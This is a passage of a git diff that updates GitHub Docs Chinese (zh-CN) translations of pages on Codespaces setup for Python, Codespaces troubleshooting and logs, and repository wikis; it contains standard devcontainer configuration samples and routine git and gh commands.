-- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 Python 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/2percentsilk/python-quickstart.
+- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。
 
-## Step 1: Open your project in a codespace
+## 步骤 1：在代码空间中打开项目
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Node.js、JavaScript、Typescript、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## 步骤 2：从模板将开发容器添加到您的代码空间
 
-The default codespaces container comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+默认代码空间容器附带最新的 Python 版本、包管理器（pip、Miniconda）和其他预装的常用工具。 但是，我们建议您设置一个自定义容器来定义项目所需的工具和脚本。 这将确保仓库中的所有 {% data variables.product.prodname_codespaces %} 用户都拥有完全可复制的环境。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL.
-  ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png)
-3. Click the recommended version of Python.
-  ![Python version selection](/assets/images/help/codespaces/add-python-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png)
+2. 对于此示例，单击 **Python 3**。 如果需要其他功能，您可以选择任何特定于 Python 或工具（如 Python 3 和 PostgreSQL）组合的容器。 ![从列表中选择 Python 选项](/assets/images/help/codespaces/add-python-prebuilt-container.png)
+3. 单击推荐的 Python 版本。 ![Python 版本选择](/assets/images/help/codespaces/add-python-version.png)
+4. 接受默认选项，将 Node.js 添加到您的自定义中。 ![添加 Node.js 选择](/assets/images/help/codespaces/add-nodejs-selection.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 开发容器的剖析
 
-Adding the Python dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+添加 Python 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件：
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "Python 3",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"context": "..",
-		"args": {
-			// Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
-			"VARIANT": "3",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Python 3",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "context": "..",
+        "args": {
+            // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
+            "VARIANT": "3",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"python.pythonPath": "/usr/local/bin/python",
-		"python.linting.enabled": true,
-		"python.linting.pylintEnabled": true,
-		"python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
-		"python.formatting.blackPath": "/usr/local/py-utils/bin/black",
-		"python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
-		"python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
-		"python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
-		"python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
-		"python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
-		"python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
-		"python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "python.pythonPath": "/usr/local/bin/python",
+        "python.linting.enabled": true,
+        "python.linting.pylintEnabled": true,
+        "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
+        "python.formatting.blackPath": "/usr/local/py-utils/bin/black",
+        "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
+        "python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
+        "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
+        "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
+        "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
+        "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
+        "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-python.python",
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "ms-python.python",
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "pip3 install --user -r requirements.txt",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "pip3 install --user -r requirements.txt",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。
+- **Build** - 构建属性。
+  - **Dockerfile** - 在构建对象中，`dockerfile` 是对 Dockerfile 的引用，该文件也是从模板中添加的。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `pip3 install -r requirements`, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **Variant**：此文件仅包含一个构建参数，即我们要用于传递到 Dockerfile 的节点变量。
+- **Settings** - 它们是 {% data variables.product.prodname_vscode %} 设置。
+  - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。
+- **Extensions** - 它们是默认包含的扩展名。
+  - **ms-python.python** - Microsoft Python 扩展为 Python 语言提供丰富的支持（对于所有积极支持的语言版本：>=3.6），包括 IntelliSense、linting、调试、代码导航、代码格式化、重构、变量资源管理器、测试资源管理器等功能。
+- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间（例如 `pip3 install -r requirements`）后执行任何操作，您可以在此处执行。
+- **remoteUser** - 默认情况下，您以 `vscode` 用户身份运行，但您可以选择将其设置为 `root`。
 
 #### Dockerfile
 
@@ -158,27 +155,27 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/l
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+您可以使用 Dockerfile 添加其他容器层，以指定要包含在容器中的操作系统包、节点版本或全局包。
 
-## Step 3: Modify your devcontainer.json file
+## 步骤 3：修改 devcontainer.json 文件
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和项目依赖项。
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. 在 Explorer 中，展开 `.devcontainer` 文件夹，从树中选择 `devcontainer.json` 文件并打开它。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. 更新 `devcontainer.json` 文件中的 `extensions` 列表，以添加一些在处理项目时有用的扩展。
 
   ```json{:copy}
   "extensions": [
-		  "ms-python.python",
-		  "cstrap.flask-snippets",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-python.python",
+          "cstrap.flask-snippets",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process.
+3. 取消注释 `postCreateCommand` 以自动安装要求，作为代码空间设置过程的一部分。
 
   ```json{:copy}
   // Use 'postCreateCommand' to run commands after the container is created.
@@ -187,30 +184,30 @@ With your dev container added and a basic understanding of what everything does,
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。
 
-5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed.
+5. 通过验证是否安装了 Code Spell Checker 和 Flask Snippet 扩展，检查更改是否成功应用。
 
-    ![Extensions list](/assets/images/help/codespaces/python-extensions.png)
+    ![扩展列表](/assets/images/help/codespaces/python-extensions.png)
 
-## Step 4: Run your application
+## 步骤 4：运行应用程序
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application.
+在上一节中，您使用 `postCreateCommand` 通过 pip3 安装了一组包。 现已安装您的依赖项，您可以运行应用程序。
 
-1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal.
+1. 通过按 `F5` 或在代码空间终端中输入 `python -m flask run` 来运行您的应用程序。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
+  ![端口转发信息框](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## 步骤 5：提交更改
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 后续步骤
 
-You should now be ready start developing your Python project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 Python 项目。 以下是用于更高级场景的一些额外资源。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/zh-CN/content/codespaces/the-githubdev-web-based-editor.md b/translations/zh-CN/content/codespaces/the-githubdev-web-based-editor.md
index c51be43275..8f9629fd2a 100644
--- a/translations/zh-CN/content/codespaces/the-githubdev-web-based-editor.md
+++ b/translations/zh-CN/content/codespaces/the-githubdev-web-based-editor.md
@@ -105,3 +105,4 @@ If you have issues opening the {% data variables.product.prodname_serverless %},
 
 - The {% data variables.product.prodname_serverless %} is currently supported in Chrome (and various other Chromium-based browsers), Edge, Firefox, and Safari. We recommend that you use the latest versions of these browsers.
 - Some keybindings may not work, depending on the browser you are using. These keybinding limitations are documented in the "[Known limitations and adaptations](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" section of the {% data variables.product.prodname_vscode %} documentation.
+- `.` may not work to open the {% data variables.product.prodname_serverless %} according to your local keyboard layout. In that case, you can open any {% data variables.product.prodname_dotcom %} repository in the {% data variables.product.prodname_serverless %} by changing the URL from `github.com` to `github.dev`.
diff --git a/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md b/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md
index e77e4be6cc..c9e49f7582 100644
--- a/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md
+++ b/translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md
@@ -23,8 +23,6 @@ Information on {% data variables.product.prodname_codespaces %} is output to thr
 
 These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. If you are using {% data variables.product.prodname_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug.
@@ -51,7 +49,6 @@ Currently you can't use {% data variables.product.prodname_cli %} to access thes
 
 These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems.
 
-{% include tool-switcher %}
 
 {% webui %}
 
@@ -77,7 +74,7 @@ If you want to share the log with support, you can copy the text from the creati
 To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace logs 
+gh codespace logs
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs).
diff --git a/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
index 509a9319bf..a3036f8a7a 100644
--- a/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
+++ b/translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
@@ -19,6 +19,18 @@ When you open a codespace in your browser using {% data variables.product.prodna
 
 You can check for known issues and log new issues with the {% data variables.product.prodname_vscode %} experience in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository.
 
+### {% data variables.product.prodname_vscode %} Insiders
+
+{% data variables.product.prodname_vscode %} Insiders is the most frequent release of {% data variables.product.prodname_vscode %}. It has all the latest features and bug fixes, but may also occasionally contain new issues that result in a broken build.
+
+If you are using an Insiders build and notice broken behavior, we recommend switching to {% data variables.product.prodname_vscode %} Stable and trying again.
+
+On the desktop version of {% data variables.product.prodname_vscode %}, you can switch to Stable by closing the {% data variables.product.prodname_vscode %} Insiders application, opening the {% data variables.product.prodname_vscode %} Stable application, and re-opening your codespace.
+
+On the web version of {% data variables.product.prodname_vscode %}, you can click {% octicon "gear" aria-label="The manage icon" %} in the bottom left of the editor and select **Switch to Stable Version...**. If the web version doesn't load or the {% octicon "gear" aria-label="The manage icon" %} icon isn't available, you can force switching to {% data variables.product.prodname_vscode %} Stable by appending `?vscodeChannel=stable` to your codespace URL and loading the codespace at that URL.
+
+If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, please follow the above troubleshooting instructions.
+
 ## 浏览器故障排除
 
 If you encounter issues using codespaces in a browser that is not Chromium-based, try switching to a Chromium-based browser, or check for known issues with your browser in the `microsoft/vscode` repository by searching for issues labeled with the name of your browser, such as [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) or [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari).
diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md
index a92278ed72..a3860bc891 100644
--- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md
+++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md
@@ -1,6 +1,6 @@
 ---
-title: About wikis
-intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.'
+title: 关于 wikis
+intro: 您可以将仓库文档托管在 wiki 中，以便其他人使用和参与您的项目。
 redirect_from:
   - /articles/about-github-wikis
   - /articles/about-wikis
@@ -15,24 +15,24 @@ topics:
   - Community
 ---
 
-Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to  share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)."
+{% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的每个仓库都配备了一个托管文档部分，叫做 wiki。 您可以使用仓库的 wiki 共享项目的长内容，例如如何使用项目，您是如何设计项目的，或者其核心原则是什么。 自述文件快速介绍项目的内容，而您可以使用 wiki 提供其他文档。 更多信息请参阅“[关于自述文件](/articles/about-readmes)”。
 
-With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format.
+使用 wiki，可以像在 {% data variables.product.product_name %} 的任何其他位置一样编写内容。 更多信息请参阅“[在 {% data variables.product.prodname_dotcom %} 上编写和设置格式](/articles/getting-started-with-writing-and-formatting-on-github)”。 我们使用[开源标记库](https://github.com/github/markup)将不同的格式转换为 HTML，以便选择使用 Markdown 或任何其他支持的格式编写。
 
-{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+{% ifversion fpt or ghes or ghec %}如果您在公共仓库中创建 wiki，则该 wiki 可供{% ifversion ghes %}具有 {% data variables.product.product_location %} 访问权限的任何人{% else %}公共{% endif %}访问。 {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. 更多信息请参阅“[设置仓库可见性](/articles/setting-repository-visibility)”。
 
-You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)".
+您可以直接在 {% data variables.product.product_name %} 上编辑 wikis，也可在本地编辑 wiki 文件。 默认情况下，只有能够写入仓库的人才可更改 wikis，但您可以允许 {% data variables.product.product_location %} 上的每个人参与{% ifversion ghae %}内部{% else %}公共{% endif %}仓库中的 wiki。 更多信息请参阅“[更改 wikis 的访问权限](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)”。
 
 {% note %}
 
-**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository.
+**注意：** 搜索引擎不会对维基的内容编制索引。 要通过搜索引擎对内容编制索引，您可以在公共仓库中使用 [{% data variables.product.prodname_pages %}](/pages) 。
 
 {% endnote %}
 
-## Further reading
+## 延伸阅读
 
-- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
-- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
-- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
-- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)"
-- "[Searching wikis](/search-github/searching-on-github/searching-wikis)"
+- "[添加或编辑 wiki 页面](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
+- "[为 wiki 创建页脚或侧栏](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
+- "[编辑 wiki 内容](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
+- "[查看 wiki 的更改记录](/articles/viewing-a-wiki-s-history-of-changes)"
+- "[搜索 wikis](/search-github/searching-on-github/searching-wikis)"
diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
index 9051feb405..cf6dc79302 100644
--- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
+++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing wiki pages
-intro: 'You can add and edit wiki pages directly on {% data variables.product.product_name %} or locally using the command line.'
+title: 添加或编辑 wiki 页面
+intro: '您可以直接在 {% data variables.product.product_name %} 或者本地使用命令行添加和编辑 wiki 页面。'
 redirect_from:
   - /articles/adding-wiki-pages-via-the-online-interface
   - /articles/editing-wiki-pages-via-the-online-interface
@@ -16,55 +16,47 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage wiki pages
+shortTitle: 管理 wiki 网页
 ---
 
-## Adding wiki pages
+## 添加 wiki 页面
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. In the upper-right corner of the page, click **New Page**.
-  ![Wiki new page button](/assets/images/help/wiki/wiki_new_page_button.png)
-4. Optionally, to write in a format other than Markdown, use the Edit mode drop-down menu, and click a different format.
-  ![Wiki markup selection](/assets/images/help/wiki/wiki_dropdown_markup.gif)
-5. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing the new file you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+3. 在页面的右上角，单击 **New Page（新页面）**。 ![Wiki 新页面按钮](/assets/images/help/wiki/wiki_new_page_button.png)
+4. 或者，要以 Markdown 以外的格式，请使用 Edit（编辑）模式下拉菜单，并单击不同的格式。 ![Wiki 标记选择](/assets/images/help/wiki/wiki_dropdown_markup.gif)
+5. 使用文本编辑器添加页面内容。 ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. 输入提交消息，描述所添加的新文件。 ![Wiki 提交消息](/assets/images/help/wiki/wiki_commit_message.png)
+7. 要提交更改到 wiki，请单击 **Save Page（保存页面）**。
 
-## Editing wiki pages
+## 编辑 wiki 页面
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-4. Using the wiki sidebar, navigate to the page you want to change. In the upper-right corner of the page, click **Edit**.
-   ![Wiki edit page button](/assets/images/help/wiki/wiki_edit_page_button.png)
-5. Use the text editor edit the page's content.
-   ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing your changes.
-   ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+4. 使用 wiki 侧栏，导航到您要更改的页面。 在页面的右上角，单击 **Edit（编辑）**。 ![Wiki 编辑页面按钮](/assets/images/help/wiki/wiki_edit_page_button.png)
+5. 使用文本编辑器添加页面内容。 ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. 输入提交消息，描述您的更改。 ![Wiki 提交消息](/assets/images/help/wiki/wiki_commit_message.png)
+7. 要提交更改到 wiki，请单击 **Save Page（保存页面）**。
 
-## Adding or editing wiki pages locally
+## 本地添加或编辑 wiki 页面
 
-Wikis are part of Git repositories, so you can make changes locally and push them to your repository using a Git workflow.
+Wiki 是 Git 仓库的一部分，因此您可以在本地进行更改，然后使用 Git 工作流程将它们推送到仓库。
 
-### Cloning wikis to your computer
+### 克隆 wiki 到计算机
 
-Every wiki provides an easy way to clone its contents down to your computer.
-You can clone the repository to your computer with the provided URL:
+每个 wiki 都提供一种将其内容克隆到计算机的简易方式。 您可以选择使用提供的 URL 将仓库克隆到计算机：
 
 ```shell
 $ git clone https://github.com/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.wiki.git
 # Clones the wiki locally
 ```
 
-Once you have cloned the wiki, you can add new files, edit existing ones, and commit your changes. You and your collaborators can create branches when working on wikis, but only changes pushed to the default branch will be made live and available to your readers.
+在克隆 wiki 后，可以添加新文件、编辑现有文件以及提交更改。 您与协作者在操作 wiki 时可以创建分支，但只有推送到默认分支的更改才会生效并供读者使用。
 
-## About wiki filenames
+## 关于 wiki 文件名
 
-The filename determines the title of your wiki page, and the file extension determines how your wiki content is rendered.
+文件名确定 wiki 页面的标题，文件扩展名确定 wiki 内容如何呈现。
 
-Wikis use [our open-source Markup library](https://github.com/github/markup) to convert the markup, and it determines which converter to use by a file's extension. For example, if you name a file *foo.md* or *foo.markdown*, wiki will use the Markdown converter, while a file named *foo.textile* will use the Textile converter.
+Wiki 使用[我们的开源 Markup 库](https://github.com/github/markup)转换标记，它根据文件扩展名确定要使用的转换器。 例如，如果您将文件命名为 *foo.md* 或 *foo.markdown*，wiki 将会使用 Markdown 转换器，而名为 *foo.textile* 的文件将使用 Textile 转换器。
 
-Don't use the following characters in your wiki page's titles: `\ / : * ? " < > |`. Users on certain operating systems won't be able to work with filenames containing these characters. Be sure to write your content using a markup language that matches the extension, or your content won't render properly.
+不要在 wiki 页面标题中使用以下字符：`\ / : * ? " < > |`。 有些操作系统的用户不能使用包含这些字符的文件名。 请确保使用符合扩展名的标记语言编写内容，否则您的内容无法正确呈现。
